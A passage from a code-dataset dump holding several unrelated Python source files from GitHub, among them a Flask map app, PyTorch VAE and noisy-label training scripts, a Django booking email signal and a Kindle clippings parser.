retries requests. This will be sufficient in\n # most cases and can be fixed properly if there's ever a need.\n try:\n try:\n with self.session.request(method, url, **kwargs) as resp:\n # Clean up the last request cookie\n self.session.cookies.clear()\n return resp\n except requests.exceptions.SSLError as e:\n msg = 'SSL exception connecting to %(url)s: %(error)s' % {\n 'url': url, 'error': e}\n LOG.info(msg)\n except requests.exceptions.Timeout as e:\n raise e\n except requests.exceptions.ConnectionError as e:\n # NOTE(sda gue): urllib3/requests connection error is a\n # translation of SocketError. However, SocketError\n # happens for many different reasons, and that low\n # level message is often really important in figuring\n # out the difference between network mis configurations\n # and firewall blocking.\n raise e\n except requests.exceptions.RequestException as e:\n raise e\n except requests.exceptions.Timeout as e:\n if connect_retries <= 0:\n return\n LOG.info('Failure: %(e)s. Retrying in %(delay).1fs.', {\n 'e': e, 'delay': connect_retry_delay})\n time.sleep(connect_retry_delay)\n kwargs.update({\n \"timeout\": kwargs.get(\"timeout\", 5) + 5\n })\n return self._send_request(\n method, url,\n connect_retries=connect_retries - 1,\n connect_retry_delay=connect_retry_delay * 2,\n **kwargs)\n\n def send_request(self, method, ip, port, uri, schema=\"https\", **kwargs):\n \"\"\"\n :param method:\n :param ip:\n :param port:\n :param uri:\n :param schema:\n :param kwargs:\n :return: None or resp\n \"\"\"\n # Detect if the IP and port are open\n try:\n sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sk.settimeout(self.detect_port_is_open_timeout)\n sk.connect((ip, int(port)))\n sk.close()\n except BaseException as e:\n LOG.info(\"Aster Request, Port not open. [{}:{}] error: {}\".format(ip, port, e))\n return\n start = time.time()\n if uri and not uri.startswith(\"/\"):\n uri = \"/{}\".format(uri)\n url = \"{}://{}:{}{}\".format(schema, ip, port, uri)\n msg = \"Aster request [ {} {} kwargs: {} ]\".format(method, url, kwargs)\n\n try:\n # Send HTTP or HTTPS request\n resp = self._send_request(\n method, url,\n **kwargs\n )\n finish = time.time()\n if resp is None:\n msg = \"{} reason: Response is None time: {:.6f} sec\".format(msg, finish - start)\n LOG.error(msg)\n return\n status_code = getattr(resp, \"status_code\", None)\n msg = \"{} status: {} time: {:.6f} sec\".format(msg, status_code, finish - start)\n if status_code and requests.codes.ok <= status_code < requests.codes.bad:\n LOG.info(msg)\n else:\n msg = \"{} reason: {}\".format(msg, resp.text)\n LOG.info(msg)\n return resp\n except BaseException as e:\n msg = \"Request failure. {} reason: {}\".format(msg, e)\n LOG.error(msg)\n","repo_name":"Stonelog/python","sub_path":"common/utils/rest.py","file_name":"rest.py","file_ext":"py","file_size_in_byte":7386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"71943103240","text":"#coding:utf8\nfrom config import opt\n\nimport os\nimport pandas as pd\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.utils.data import DataLoader\n\n\nfrom torch.optim import lr_scheduler\nimport torchvision\n\nfrom torchnet import meter\nfrom torchsummary import summary\nfrom utils import Visualizer\nfrom tqdm import tqdm\nfrom data import DataL\n\nfrom loss import CrossEntropyLoss, LabelSmooth, SelNLPL \nfrom models import Switch_Model\n\nfrom utils.utils import setup_seed\nfrom data.augment import cifar_transforms, Imagenet_trainsforms\nfrom utils.LabelGeneration import label_updata\n\nsetup_seed(19950221)\ndata_transforms = Imagenet_trainsforms if opt.dataset == \"mini-imagenet\" else cifar_transforms\n\ndef train(**kwargs):\n opt.parse(kwargs)\n vis = Visualizer(opt.env)\n # step1: model\n model = Switch_Model(opt.model_name, opt.num_classes)\n \n #load model \n if opt.load_model_path:\n ckpt = torch.load(opt.load_model_path)\n model.load_state_dict(ckpt['net_state_dict'])\n\n if opt.use_gpu: \n model.cuda()\n summary(model, (3, opt.pic_size, opt.pic_size))\n\n # step2: data\n train_data = DataL(root = opt.train_root,datatxt=opt.train_name,\n transform = data_transforms['train'],mode = 'train'\n )\n\n train_loader = torch.utils.data.DataLoader(train_data, batch_size=opt.batch_size,\n shuffle=True, num_workers=opt.num_workers)\n \n if opt.dataset == \"Cifar\":\n val_data = torchvision.datasets.CIFAR10(root=opt.val_root, train=False,\n download=True, transform=data_transforms['val'])\n elif opt.dataset == \"cifar100\":\n val_data = torchvision.datasets.CIFAR100(root=opt.val_root, train=False,\n download=True, transform=data_transforms['val'])\n else:\n raise Exception(\"Sorry, it is not my dataset {}\".format(opt.dataset))\n\n val_loader = torch.utils.data.DataLoader(val_data, batch_size=opt.batch_size,\n shuffle=False, num_workers=opt.num_workers)\n \n dataloaders={'train':train_loader,'val':val_loader}\n dataset_sizes={'train':len(train_data),'val':len(val_data)}\n\n # step3: loss and optimation\n if opt.label_mode == 'cross_entropy':\n criterion = CrossEntropyLoss(class_num = opt.num_classes,reduction='mean')\n val_criterion = CrossEntropyLoss(class_num = opt.num_classes,reduction='mean')\n elif opt.label_mode == 'SelNLPL':\n criterion = SelNLPL(class_num = opt.num_classes,c = opt.num_classes, r = 0.5, negative_num = opt.num_nagetive)\n val_criterion = CrossEntropyLoss(class_num = opt.num_classes,reduction='mean')\n else:\n raise TypeError(\"Wrong mode {}, expected: xentropy, soft_bootstrap or hard_bootstrap\".format(opt.label_mode))\n \n\n optimizer = torch.optim.SGD(model.parameters() , \n lr =opt.lr[0] , \n momentum = 0.9,\n weight_decay= opt.weight_decay)\n\n save_dir = opt.save_checkpoint\n if not os.path.exists(save_dir):\n os.mkdir(save_dir)\n\n lr = opt.lr[0]\n \n # step4: metric\n confusion_matrix = meter.ConfusionMeter(opt.num_classes)\n best_acc = -0.001\n \n # train\n for epoch in range(opt.start_epoch, opt.max_epoch):\n print('Epoch {}/{}'.format(epoch ,opt.max_epoch - 1))\n print('-' * 10)\n \n if epoch == opt.NL_EPOCH:\n for param_group in optimizer.param_groups:\n param_group['lr'] = opt.lr[1] \n lr = param_group['lr']\n elif epoch == opt.NL_EPOCH + opt.SelNL_EPOCH:\n for param_group in optimizer.param_groups:\n param_group['lr'] = opt.lr[2] \n lr = param_group['lr']\n \n running_loss = 0.0\n running_corrects = 0.0\n model.train(True)\n #_scheduler.step()\n \n for step,(inputs, true_label, label) in enumerate(tqdm(train_loader,desc='Train On {}'.format(opt.dataset), unit='batch')):\n \n labels = label.reshape(len(label),1)\n #print(torch.sum(torch.isnan(inputs)))\n if torch.sum(torch.isnan(inputs)) > 0:\n raise Exception(\"the input is nan\")\n if opt.use_gpu:\n inputs = inputs.cuda()\n labels = labels.cuda()\n\n label = label.cuda()\n true_label = true_label.cuda()\n \n optimizer.zero_grad() #zero the parameter gradients\n with torch.set_grad_enabled(True):\n outputs= model(inputs)\n if torch.sum(torch.isnan(outputs)) > 0:\n raise Exception(\"the output is nan\")\n _ , preds = torch.max(outputs , 1)\n if epoch < opt.NL_EPOCH:\n loss = criterion(outputs , labels, \"NL\")\n elif epoch < opt.NL_EPOCH + opt.SelNL_EPOCH:\n loss = criterion(outputs , labels, \"SelNL\")\n else:\n loss = criterion(outputs , labels, \"SelPL\")\n \n loss.backward() \n \n optimizer.step()\n running_loss += loss.item() * inputs.size(0)\n running_corrects += torch.sum(preds == label.data)\n \n train_loss = running_loss / dataset_sizes['train']\n train_acc = float(running_corrects) / dataset_sizes['train']\n \n print('Train Loss: {:.4f} top_1_Acc: {:.4f}'.format(train_loss,train_acc))\n model,val_cm,val_loss,val_acc = val(model,val_loader,dataset_sizes['val'],val_criterion)\n print('Val Loss: {:.4f} top_1_Acc: {:.4f}'.format(val_loss,val_acc))\n \n vis.plot_many_stack({'train_loss':train_loss,\\\n 'val_loss':val_loss},win_name =\"Loss\")\n vis.plot_many_stack({'train_acc':train_acc,\\\n 'val_acc':val_acc},win_name = 'Acc')\n\n \n\n vis.plot_many_stack({'lr':lr},win_name ='lr')\n \n\n vis.log(\"epoch:{epoch},\\\n train_cm:{train_cm},val_cm:{val_cm}\"\n .format(\n epoch = epoch,\n train_cm=str(confusion_matrix.value()),\n val_cm = str(val_cm.value())\n ))\n \n if val_acc >= best_acc:\n best_acc = val_acc\n best_acc_epoch = epoch\n \n if (epoch+1)%100==0:\n net_state_dict = model.state_dict()\n torch.save({\n\t\t\t\t'epoch': epoch,\n\t\t\t\t'train_loss': train_loss,\n\t\t\t\t'train_acc': train_acc,\n\t\t\t\t'test_loss': val_loss,\n\t\t\t\t'test_acc': val_acc,\n\t\t\t\t'net_state_dict': net_state_dict},\n\t\t\t\tos.path.join(save_dir, '%03d.ckpt' % epoch))\n \n print('Best val Epoch: {},Best val Acc: {:4f}'.format(best_acc_epoch,best_acc))\n \n\ndef val(model,dataloader,data_len,criterion):\n model.eval()\n running_loss = 0.0\n running_corrects = 0.0\n confusion_matrix = meter.ConfusionMeter(opt.num_classes)\n result = []\n for ii, (val_input,val_label) in enumerate(tqdm(dataloader,desc='Val On {}'.format(opt.dataset), unit='batch')):\n if opt.use_gpu:\n val_input = val_input.cuda()\n val_label = val_label.cuda()\n val_labels = val_label.reshape(len(val_label),1)\n with torch.set_grad_enabled(False):\n score = model(val_input)\n _ , preds = torch.max(score , 1)\n belta_loss= criterion(score, val_labels,None)\n \n confusion_matrix.add(score.data.squeeze(), val_label)\n running_loss += belta_loss.item() * val_input.size(0)\n running_corrects += torch.sum(preds == val_label.data)\n model.train(True)\n\n cm_value = confusion_matrix.value()\n val_loss = float(running_loss) / data_len\n val_accuracy = float(running_corrects)/data_len\n return model,confusion_matrix, val_loss,val_accuracy\n\n \ndef test(**kwargs):\n\n opt.parse(kwargs)\n defect_count = 0\n model = Switch_Model(opt.model_name, opt.num_classes).eval()\n \n if opt.load_model_path:\n model.load(opt.load_model_path)\n else:\n raise TypeError(\"Wrong model path of pth\")\n if opt.use_gpu: model.cuda()\n \n test_data = DataL(root = opt.test_root,datatxt=opt.test_name,\n transform = data_transforms['val'],mode = 'test')\n\n test_loader = DataLoader(test_data, batch_size=opt.batch_size,\n shuffle=False, num_workers=opt.num_workers)\n \n result_list=[]\n for step,batch in enumerate(tqdm(test_loader,desc='test', unit='batch')):\n with torch.no_grad():\n data,true_label,noisy_label,name = batch\n if opt.use_gpu:\n data = data.cuda()\n one_hot = torch.Tensor([[0 if i!=j else 1 for i in range(opt.num_classes)] for j in noisy_label]).cuda()\n score= model(data)\n score = F.softmax(score,1)\n actually_score = score[one_hot.byte()]\n _ , preds = torch.max(score , 1)\n \n pro = actually_score.to(\"cpu\").numpy()\n preds = preds.to(\"cpu\").numpy()\n for i in range(len(true_label)):\n result_list.append([name[i],true_label[i].item(),preds[i],noisy_label[i].item(),pro[i]])\n data=pd.DataFrame(result_list,columns = ['img_name','true_label','pred_label','noisy_label','pro'])\n data.to_csv(opt.result_name,index=False)\n\n\n\ndef help():\n \n print('''\n usage : python main.py [--args=value,]\n := train | test | help\n example: \n python main.py train --env='env0701' --lr=0.01\n python main.py test --dataset='path/to/dataset/root/'\n python main.py help\n avaiable args:'''.format(__file__))\n\n from inspect import getsource\n source = (getsource(opt.__class__))\n print(source)\n\nif __name__=='__main__':\n import fire\n fire.Fire()\n\n","repo_name":"JaryHuang/Label","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10003,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"63"} +{"seq_id":"24850762262","text":"from flask import Flask, render_template, send_file, make_response, url_for, Response, request\napp = Flask(__name__)\n\nimport geopandas as gpd\nimport io \nimport contextily as ctx\nfrom matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas\nfrom matplotlib.figure import Figure\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n\nregioni = gpd.read_file('/workspace/flask/verB2/static/Reg01012021_g_WGS84.zip')\nprovince = gpd.read_file('/workspace/flask/verB2/static/ProvCM01012021_g_WGS84.zip').to_crs(32632)\nripgeo = gpd.read_file('/workspace/flask/verB2/static/RipGeo01012021_g_WGS84.zip').to_crs(32632)\n\nprovince['AREA'] = province.geometry.area\n\n@app.route('/', methods=['GET'])\ndef home():\n return render_template('index.html')\n \n@app.route('/ricerca', methods=['GET'])\ndef ricerca():\n return render_template('ricerca.html')\n\n@app.route('/mappa', methods=['GET'])\ndef mappa():\n global u_reg\n u_reg = regioni[regioni.DEN_REG.str.contains(request.args['u_reg'])]\n lung = u_reg.geometry.length/1000\n prov_in_reg = province[province.within(u_reg.geometry.squeeze())].sort_values(by='AREA',ascending=False)['DEN_PROV']\n return render_template('mappa.html',lung = lung, prov = prov_in_reg)\n\n@app.route('/scelta', methods=['GET'])\ndef scelta():\n return render_template('scelta.html', ripartizioni = ripgeo[\"DEN_RIP\"])\n\n@app.route('/scelta2', methods=['GET'])\ndef scelta2():\n reg_in_rip = regioni[regioni.within(ripgeo[ripgeo.DEN_RIP == request.args['u_rip']].geometry.squeeze())]['DEN_REG'].sort_values(ascending=True)\n return render_template('scelta2.html',reg = reg_in_rip)\n\n@app.route('/seleziona', methods=['GET'])\ndef seleziona():\n return render_template('seleziona.html', ripartizioni = ripgeo[\"DEN_RIP\"])\n\n@app.route('/seleziona2', methods=['GET'])\ndef seleziona2():\n reg_in_rip = regioni[regioni.within(ripgeo[ripgeo.DEN_RIP == request.args['u_rip']].geometry.squeeze())]['DEN_REG'].sort_values(ascending=True)\n return render_template('seleziona2.html', reg = reg_in_rip)\n\n@app.route('/mappa.png', methods=['GET'])\ndef mpl():\n fig , ax = plt.subplots(figsize=(10,10))\n\n u_reg.to_crs(3857).plot(ax=ax,facecolor='none',edgecolor='r')\n ctx.add_basemap(ax=ax)\n \n output=io.BytesIO()\n FigureCanvas(fig).print_png(output)\n return Response(output.getvalue(),mimetype='image/png')\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=3245, debug=True)","repo_name":"UselessMOS0/flask","sub_path":"verB2/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"6116020699","text":"import datetime\n\nfrom dirstate import DirState\nfrom gdrive import GDrive\nfrom config import Config\nfrom tgnotify import TelegramNotifier\n\nimport logging\n\nclass App:\n def __init__(self):\n self.__gdrive = GDrive()\n self.__config = Config()\n logging.basicConfig(\n format='%(asctime)s %(levelname)-8s %(message)s',\n filename=self.__config.log_file,\n filemode='a',\n encoding='utf-8', \n level=logging.INFO,\n datefmt='%Y-%m-%d %H:%M:%S'\n )\n\n def run(self):\n new_state = DirState(self.__config.watched_dir)\n old_state = DirState(None)\n old_state.read_from_file(self.__config.state_file)\n logging.info(\"old_state {}\".format(old_state.get_files()))\n logging.info(\"new_state {}\".format(new_state.get_files()))\n if new_state.compare(old_state) and len(new_state.get_files()) != 0:\n self.__create_snapshot(new_state)\n new_state.write_to_file(self.__config.state_file)\n\n def __create_snapshot(self, new_state):\n folder_id = self.__gdrive.create_folder(\n self.__config.gdrive_folder_id,\n 'snapshot_' + datetime.datetime.now().strftime('%Y-%m-%d')\n )\n for file in new_state.get_files():\n self.__gdrive.create_file(folder_id, file)\n\n\nif __name__ == '__main__':\n app = App()\n notifier = TelegramNotifier(logging.getLogger(__name__))\n try:\n app.run()\n notifier.notify('shapshot created')\n except Exception as e:\n notifier.notify('keypass-backup exception: {}'.format(e))\n logging.exception(\"create shapshot exception\")\n","repo_name":"kostage/keypass-backup","sub_path":"src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"12662415373","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Aug 25 02:45:29 2019\r\n\r\n@author: Susie\r\n\"\"\"\r\n\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as fun\r\nimport torch.autograd as autograd\r\nimport torch.optim as optim\r\nfrom torch.autograd import Variable\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\n\r\n\r\nclass VAE(nn.Module):\r\n def __init__(self,input_dim,encoder_dim,encoder_out_dim,latent_dim,decoder_dim,device):\r\n super(VAE, self).__init__()\r\n self.encoder = nn.Sequential(\r\n nn.Linear(input_dim, encoder_dim),\r\n nn.BatchNorm1d(encoder_dim),\r\n nn.ReLU(inplace=True), \r\n \r\n nn.Linear(encoder_dim, encoder_out_dim),\r\n# nn.BatchNorm1d(output_dim),\r\n nn.ReLU(inplace=True)\r\n )\r\n self.fcmu = nn.Linear(encoder_out_dim, latent_dim) #mean\r\n self.fcsigma = nn.Linear(encoder_out_dim, latent_dim) #logsigma\r\n self.decoder = nn.Sequential( \r\n nn.Linear(latent_dim, encoder_out_dim),\r\n nn.BatchNorm1d(encoder_out_dim),\r\n nn.ReLU(inplace = True),\r\n \r\n nn.Linear(encoder_out_dim,decoder_dim),\r\n nn.BatchNorm1d(decoder_dim),\r\n nn.ReLU(inplace = True),\r\n nn.Linear(decoder_dim, input_dim)\r\n )\r\n self.device = device\r\n \r\n\r\n def reparameterize(self,mu,logvar):\r\n if self.device.type == 'cpu':\r\n epsi = Variable(torch.randn(mu.size(0), mu.size(1)))\r\n elif self.device.type == 'gpu':\r\n epsi = Variable(torch.randn(mu.size(0), mu.size(1))).cuda()\r\n z = mu + epsi*torch.exp(logvar/2)\r\n return z\r\n \r\n def forward(self,x):\r\n out1, out2 =self.encoder(x), self.encoder(x) # data_size,encoder_dim,12\r\n mu = self.fcmu(out1) #data_size, latent_num\r\n logvar = self.fcsigma(out2) #data_size, latent_num\r\n z = self.reparameterize(mu, logvar)#data_size, latent_num\r\n return self.decoder(z), mu, logvar\r\n\r\ndef loss_func(reconstruct, x, mu, logvar):\r\n batch_size = x.size(0)\r\n BCE = fun.binary_cross_entropy_with_logits(reconstruct, x, reduction='sum') / batch_size\r\n KLD = -0.5 * torch.sum(1 + logvar - mu.pow(2) - logvar.exp())/ batch_size\r\n return BCE,KLD\r\n\r\n\r\ndef vaetrain(t, path, vae, data, fields, epochs, lr, steps_per_epoch, device):\r\n # t: times of training\r\n\t# path: output file path\r\n\t# VAE :net\r\n # data: train data\r\n # fields: help decode categorical data\r\n\t# epochs\r\n\t# lr: learning rate\r\n\t# steps_per_epoch\r\n if device == torch.device('cuda'):\r\n vae.cuda()\r\n optimizer = optim.Adam(vae.parameters(),lr, betas=(0.9, 0.999), eps=1e-08, weight_decay=0.00001)\r\n\r\n for epoch in range(int(epochs)):\r\n vae.train()\r\n print(\"----------pretrain Epoch %d:----------\\n\"%epoch)\r\n log = open(path+\"train_log_vae.txt\",\"a+\")\r\n log.write(\"----------pretrain Epoch %d:----------\\n\"%epoch)\r\n log.close()\r\n it = 0\r\n sample_num, col_num = data.shape[0], data.shape[1]\r\n while it < steps_per_epoch:\r\n dtest = data.values\r\n dtest = torch.FloatTensor(dtest)\r\n #x = torch.unsqueeze(dtest, dim=1)\r\n x = dtest\r\n if device == torch.device('cuda'):\r\n x = Variable(x).cuda()\r\n else:\r\n x = Variable(x)\r\n optimizer.zero_grad()\r\n x_, mu, logvar = vae.forward(x)\r\n recon_loss, kl_loss = loss_func(x_, x, mu, logvar)\r\n elbo_loss = recon_loss + kl_loss\r\n mse_loss = fun.mse_loss(torch.sigmoid(x_).detach(),x.detach(), size_average=True)\r\n elbo_loss.backward()\r\n optimizer.step()\r\n \r\n if it%100 == 0:\r\n train_text = \"VAE iteration {} \\t ELBO Loss {elbo_loss:.4f} \\t MSE Reconstruct Loss {mse_loss:.4f}\\t BCE Reconstruct Loss {reconstruct_loss:.4f}\\t KL Loss {kl_loss:.4f}\".format(\r\n it,\r\n elbo_loss=elbo_loss.item(),\r\n mse_loss=mse_loss.item(),\r\n reconstruct_loss=recon_loss.item(),\r\n kl_loss=kl_loss.item())\r\n print(train_text)\r\n log = open(path+\"train_log_vae.txt\",\"a+\")\r\n log.write(train_text)\r\n log.close() \r\n sample = vae.forward(torch.FloatTensor(torch.randn(sample_num, col_num)))[0]\r\n sample_data = []\r\n for i in len(fields):\r\n current_ind = 0\r\n if type(fields[i]) == field.CategoricalField:\r\n dim = fields[i].dim()\r\n data_totranse =np.round( torch.sigmoid(sample.loc[:,current_ind:(current_ind+dim)]).detach().numpy())\r\n sample_data.append(fields[i].reverse(data_totranse))\r\n current_ind += dim\r\n else:\r\n sample_data.append(sample[current_ind])\r\n current_ind += 1\r\n sample_data = pd.DataFrame(sample_data)\r\n sample_data.to_csv(path+'sample_data_vae_{}_{}.csv'.format(t,epoch), index = None)\r\n it += 1\r\n if it >= steps_per_epoch:\r\n break\r\n ","repo_name":"YuweiShen/Homework","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"11427971765","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nrandX = np.random.randint(120,260,200)\r\nrandXtwo = np.random.randint(120,260,200)\r\n\r\ndef isYellow(x,xtwo):\r\n m1 = -1\r\n m2 = -1\r\n b = 480\r\n result = m1*x+m2*xtwo + b\r\n return result<=0\r\n\r\n\r\nplt.style.use(['seaborn-dark'])\r\n\r\ncolors = []\r\nfor i in range(0,200):\r\n rX = randX[i]\r\n rXtwo = randXtwo[i]\r\n if isYellow(rX,rXtwo):\r\n colors.append(\"yello\")\r\n else:\r\n colors.append(\"blue\")\r\n\r\nplt.scatter(randX,randXtwo,c=colors)\r\nplt.show()","repo_name":"robchristiansen13/Learning","sub_path":"UniversityofUtah/HW 09 - Regressions/LogisticRegression/simpleLogRegTwo.py","file_name":"simpleLogRegTwo.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"27312526676","text":"import cv2\nimport glob\nimport numpy as np\n\nimageArray = glob.glob('images/*.jpg')\nframe = 0\neframe_array = []\n\n\nfor i in imageArray:\n print(f'Enhancing {i}...')\n image = cv2.imread(i) \n \n image_bw = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) \n \n clahe = cv2.createCLAHE(clipLimit = 5) \n final_img = clahe.apply(image_bw)\n \n _, ordinary_img = cv2.threshold(image_bw, 155, 255, cv2.THRESH_BINARY) \n \n cv2.imwrite(f'enhanced/{frame}-enhanced.jpg', final_img)\n\n eframe_array.append(f'enhanced/{frame}-enhanced.jpg')\n\n \n frame += 1\n\n\noverlay = cv2.imread('falseColourGK.png')\nframe = 0\n\nfor i in eframe_array:\n print(f'Overlaying {i}...')\n image = cv2.imread(i)\n overlayed = cv2.addWeighted(image,0.4,overlay,0.1,1)\n \n cv2.imwrite(f'enhanced/{frame}-enhanced.jpg', overlayed)\n frame += 1\n \n\n\nvideo_array = []\nfor filename in eframe_array:\n print(f'MP4-ing {filename}...')\n img = cv2.imread(filename)\n height, width, layers = img.shape\n size = (width, height)\n video_array.append(img)\n\nout = cv2.VideoWriter('final/final.mp4',cv2.VideoWriter_fourcc(*'DIVX'), 30, size)\nfor i in range(len(video_array)):\n out.write(video_array[i])\n \nout.release()\n","repo_name":"technobird22/geoanimator","sub_path":"test_scripts/colour_animate.py","file_name":"colour_animate.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"74185231559","text":"from datetime import date, datetime\nfrom typing import Dict, List, Optional, TypeVar, Union\n\nfrom libecalc.common.time_utils import is_temporal_model\nfrom libecalc.expression import Expression\nfrom pydantic import constr\n\nEmissionNameStr = constr(regex=r\"^\\w*$\")\nCOMPONENT_NAME_ALLOWED_CHARS = \"A-ZÆØÅa-zæøå\\\\d_/\\\\- \"\nComponentNameStr = constr(regex=r\"^[\" + COMPONENT_NAME_ALLOWED_CHARS + \"]*$\") # synced with valid regexp in BE4FE\n\nExpressionType = Union[str, int, float, Expression]\n\n\ndef convert_expression(\n value: Optional[Union[ExpressionType, Dict[date, ExpressionType]]]\n) -> Optional[Union[Expression, Dict[date, Expression]]]:\n if value is None or isinstance(value, Expression):\n return value\n elif is_temporal_model(value):\n return {start_time: convert_expression(value=expression) for start_time, expression in value.items()}\n return Expression.setup_from_expression(value=value)\n\n\ndef convert_expressions(\n values: Optional[List[Optional[Union[ExpressionType, Dict[date, ExpressionType]]]]]\n) -> Optional[List[Optional[Union[Expression, Dict[date, Expression]]]]]:\n if values is None:\n return values\n if not isinstance(values, list):\n return convert_expression(value=values)\n else:\n return [convert_expression(value=value) for value in values]\n\n\ndef uppercase_user_defined_category(value):\n if value is not None and isinstance(value, str):\n return value.upper()\n elif value is not None and is_temporal_model(value):\n return {timestep: category.upper() for timestep, category in value.items()}\n return value\n\n\nTModel = TypeVar(\"TModel\")\n\n\ndef validate_temporal_model(model: Dict[datetime, TModel]) -> Dict[datetime, TModel]:\n if not (list(model.keys()) == sorted(model)):\n raise ValueError(\"Dates in a temporal model should be sorted with the earliest date first\")\n\n return model\n","repo_name":"equinor/ecalc","sub_path":"src/libecalc/dto/utils/validators.py","file_name":"validators.py","file_ext":"py","file_size_in_byte":1894,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"63"} +{"seq_id":"29840443257","text":"from django.db.models.signals import post_save\nfrom django.dispatch import receiver\nfrom .models import Booking\nfrom .forms import SLOT_CHOICE\nfrom Homework.settings import EMAIL_HOST_USER\nfrom django.core.mail import send_mass_mail\n\n@receiver(post_save,sender=Booking)\ndef email_send(sender,instance,created,**kwargs):\n if created:\n cleaner_msg = \"Welcome To Homewrok The Home Cleaning Services.\\n You have been Booked for a Date:\" + str(instance.date) + \" for cleaning service at \" + instance.city.city + \"\\nCustomer name : \" + instance.user.first_name + \"\\nTime : \" + SLOT_CHOICE[int(instance.slot)][1] + \"\\nSee Your Orders List :127.0.0.1:8000/booking_list/ \\n Thank You...\"\n print(cleaner_msg)\n customer_msg = \"Welcome To Homewrok The Home Cleaning Services.\\n Congratulations!You have successfully Booked our Expert Cleaner for date :\" + str(instance.date) + \" cleaning service at \" + instance.city.city + \"\\nCleaner name : \" + instance.cleaner.user.first_name + \"\\nTime : \" + SLOT_CHOICE[int(instance.slot)][1] + \"\\nSee Your Orders List :127.0.0.1:8000/booking_list/ \\n Thank You...\"\n print(customer_msg)\n print(SLOT_CHOICE[int(instance.slot)][1])\n \n cleaner_mail = ('Hey Cleaner, You Have Been Booked', cleaner_msg, EMAIL_HOST_USER, [instance.cleaner.user.email])\n customer_mail = ('Welcome To Homework Your Booking Apppoinment', customer_msg, EMAIL_HOST_USER, [instance.user.email])\n\n res = send_mass_mail((cleaner_mail, customer_mail), fail_silently=False)\n\n print(res) # return render(request,'booking/postbooking.html')\n else:\n raise('Not Booked!!!')","repo_name":"umpatel2618/Internship_Projects","sub_path":"Homework/Homework/booking/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":1645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"36823712847","text":"import os\nimport sys\n\ndef get_book_progress(parsed_clippings, book_title, print_progress=False):\n clippings_of_book = get_clippings_from_book(\n book_title=book_title,\n parsed_clippings=parsed_clippings,\n clipping_type=\"all\"\n )\n max_pos = get_max_position(clippings_of_book)\n second_max_pos = get_second_max_position(clippings_of_book)\n perc_progress = second_max_pos / max_pos\n if print_progress:\n print(f\"Reading progress: {round(perc_progress*100, 2)}%\")\n return perc_progress\n\ndef get_max_position(clippings_from_book):\n positions = [clipping[\"pos_end\"] for clipping in clippings_from_book if clipping[\"pos_end\"] is not None]\n max_pos = max(positions)\n return max_pos\n\ndef get_second_max_position(clippings_from_book):\n positions = [clipping[\"pos_end\"] for clipping in clippings_from_book if clipping[\"pos_end\"] is not None]\n \n if all(x == positions[0] for x in positions):\n return max(positions)\n \n first_max = max(positions)\n second_max = max(positions)\n while first_max == second_max:\n positions.remove(first_max)\n second_max = max(positions)\n return second_max\n \ndef get_clippings_from_book(book_title, parsed_clippings, clipping_type=\"all\"):\n \"\"\"\n args:\n book_title: a string of the title of a book\n parsed_clippings: a list of dictionaries, ie the output of get_clippings()\n clipping_type: Optional: None or \"highlight\" or \"note\"\n \"\"\"\n clippings = []\n for clipping in parsed_clippings:\n if clipping_type == \"all\":\n if clipping[\"book_title\"] == book_title:\n clippings.append(clipping)\n else:\n if clipping[\"book_title\"] == book_title and clipping[\"clipping_type\"] == clipping_type:\n clippings.append(clipping)\n return clippings\n\ndef clippings_to_markdown(book_title, clippings_of_book):\n text = \"# \" + book_title + \"\\n\\n\"\n for clipping in clippings_of_book:\n if clipping[\"clipping_type\"] == \"highlight\":\n text += \">\" + clipping[\"text\"] + \"\\n\\n\"\n else:\n text += clipping[\"text\"] + \"\\n\\n\"\n return text\n\ndef create_markdown_from_clippings(parsed_clippings, book_title, clipping_type, output_filename):\n clippings_of_book = get_clippings_from_book(\n book_title=book_title,\n parsed_clippings=parsed_clippings,\n clipping_type=clipping_type\n )\n try:\n os.mkdir(\"output\")\n except FileExistsError:\n pass\n with open(os.path.join(\"output\", output_filename), \"w\", encoding=\"utf-8\") as f:\n text = clippings_to_markdown(\n book_title=book_title,\n clippings_of_book=clippings_of_book\n )\n f.write(text)\n f.close()\n \ndef get_unique_books(parsed_clippings):\n book_titles = set([clipping[\"book_title\"] for clipping in parsed_clippings])\n book_titles = list(book_titles)\n book_titles.sort()\n return book_titles\n\ndef progress_bar_htmlcss(parsed_clippings, book_title, book_title_formatted, author_formatted):\n file_name = book_title_formatted.replace(\" \", \"-\")\n css_class_l = book_title_formatted.replace(\" \", \"\").lower() + \"-l\"\n css_class_r = book_title_formatted.replace(\" \", \"\").lower() + \"-r\"\n progress = get_book_progress(\n parsed_clippings=parsed_clippings,\n book_title=book_title,\n print_progress=False\n )\n progress = round(progress*100)\n\n html = f\"\"\"
